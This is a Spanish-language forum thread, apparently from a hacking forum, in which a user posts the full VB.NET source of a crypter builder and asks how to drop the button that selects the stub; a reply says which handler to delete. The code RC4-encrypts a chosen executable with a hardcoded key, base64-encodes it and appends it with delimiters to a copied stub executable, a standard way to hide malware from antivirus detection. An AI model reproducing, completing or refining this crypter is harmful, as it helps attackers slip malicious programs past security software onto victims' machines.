• VB/.NET

 #487706  por chiquilla
 
Hola, tengo un simples codigo hecho en vb.net.
El cliente lleva 3 botones, el segundo boton es para buscar el stub, pero no me gusta esa funcion y me gustaria quitarla.
Quiero dejar solo dos boton, el de buscar el archivo y otro para encryptar, pero no se como hacerlo.

Alguien puede ayudar.

Imagen


Codigo del cliente.

Código: Seleccionar todo
Imports System.IO
Imports Microsoft.VisualBasic.CompilerServices
Public Class Form1
    Const Deli25 = "InfinityDeath"
    Const Deli255 = "iFiniTyDdDeTreaht"
    Dim Dz1, Dz2 As Boolean
    Dim RandomClass As New Random()
    Dim Algeria As SaveFileDialog = New SaveFileDialog
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        TextBox3.Text = RandomString(RandomClass.Next(20, 22))
    End Sub
    Public Shared Function RandomString(ByVal lenght As Integer) As Object
        Dim str As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
        Dim random As System.Random = New System.Random()
        Dim stringBuilder As System.Text.StringBuilder = New System.Text.StringBuilder()
        Dim num As Integer = lenght
        Dim num1 As Integer = 1
        Do
            Dim num2 As Integer = random.[Next](0, 35)
            StringBuilder.Append(str.Substring(num2, 1))
            num1 = num1 + 1
        Loop While num1 <= num
        Return stringBuilder.ToString()
    End Function
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
          {
              .Filter = "Portable Executable |*.exe"
          }
        If (openFileDialog.ShowDialog() = DialogResult.OK) Then
            Me.TextBox1.Text = openFileDialog.FileName
        End If
    End Sub
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
            {
                .Filter = "Stub |*.exe"
            }
        If (openFileDialog.ShowDialog() = DialogResult.OK) Then
            Me.TextBox2.Text = openFileDialog.FileName
        End If
    End Sub
    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Dim Dzkiller As String
        If ((Me.TextBox1.Text = Nothing) Or (Me.TextBox2.Text = Nothing)) Then
            Interaction.MsgBox("Error, archivo o Stub no seleccionados...", MsgBoxStyle.Information, Nothing)
        End If
        Try
            Using Algeria
                Algeria.Filter = "Executable Files (.exe)|*.exe"
                If (Algeria.ShowDialog = DialogResult.OK) Then
                    Dzkiller = Algeria.FileName
                Else
                    Return
                End If
            End Using
            Dim Alpha As Byte() = BssCrgQmvJ(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text), Deli25)
            File.Copy(Me.TextBox2.Text, Dzkiller)
            IO.File.AppendAllText(Dzkiller, Deli255 & Convert.ToBase64String(Alpha) & Deli255 & Me.TextBox3.Text & Deli255 & Dz1 & Deli255 & Dz2)
            Interaction.MsgBox("Archivo encryptado correctamente...", MsgBoxStyle.Information, Nothing)
        Catch exception As System.Exception
            ProjectData.SetProjectError(exception)
            Interaction.MsgBox("Error !!!!", MsgBoxStyle.Critical, Nothing)
            ProjectData.ClearProjectError()
        End Try
    End Sub

    Public Function BssCrgQmvJ(ByVal psFQJswbkE As Byte(), ByVal iNvRuzvEiw As String) As Byte()
        Dim maBIEweQWq As Byte() = System.Text.Encoding.ASCII.GetBytes(iNvRuzvEiw)
        Dim goaXEBHeqj, lsPcdxUcze, uThUVnzOSV As UInteger
        Dim AQGmKhqyxS As UInteger() = New UInteger(255) {}
        Dim LjIsRWzWlK As Byte() = New Byte(psFQJswbkE.Length - 1) {}
        For i = 0 To 255
            AQGmKhqyxS(i) = i
        Next
        For i = 0 To 255
            lsPcdxUcze = (lsPcdxUcze + maBIEweQWq(i Mod maBIEweQWq.Length) + AQGmKhqyxS(i)) And 255
            uThUVnzOSV = AQGmKhqyxS(i)
            AQGmKhqyxS(i) = AQGmKhqyxS(lsPcdxUcze)
            AQGmKhqyxS(lsPcdxUcze) = uThUVnzOSV
        Next
        goaXEBHeqj = 0 : lsPcdxUcze = 0
        Dim c As Integer
        For c = 0 To LjIsRWzWlK.Length - 1
            goaXEBHeqj = (goaXEBHeqj + 1) And 255
            lsPcdxUcze = (lsPcdxUcze + AQGmKhqyxS(goaXEBHeqj)) And 255
            uThUVnzOSV = AQGmKhqyxS(goaXEBHeqj)
            AQGmKhqyxS(goaXEBHeqj) = AQGmKhqyxS(lsPcdxUcze)
            AQGmKhqyxS(lsPcdxUcze) = uThUVnzOSV
            LjIsRWzWlK(c) = psFQJswbkE(c) Xor AQGmKhqyxS((AQGmKhqyxS(goaXEBHeqj) + AQGmKhqyxS(lsPcdxUcze)) And 255)
        Next
        Return LjIsRWzWlK
    End Function

End Class
 #487710  por SadFud
 
borra esta parte
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
            {
                .Filter = "Stub |*.exe"
            }
        If (openFileDialog.ShowDialog() = DialogResult.OK) Then
            Me.TextBox2.Text = openFileDialog.FileName
        End If
 End Sub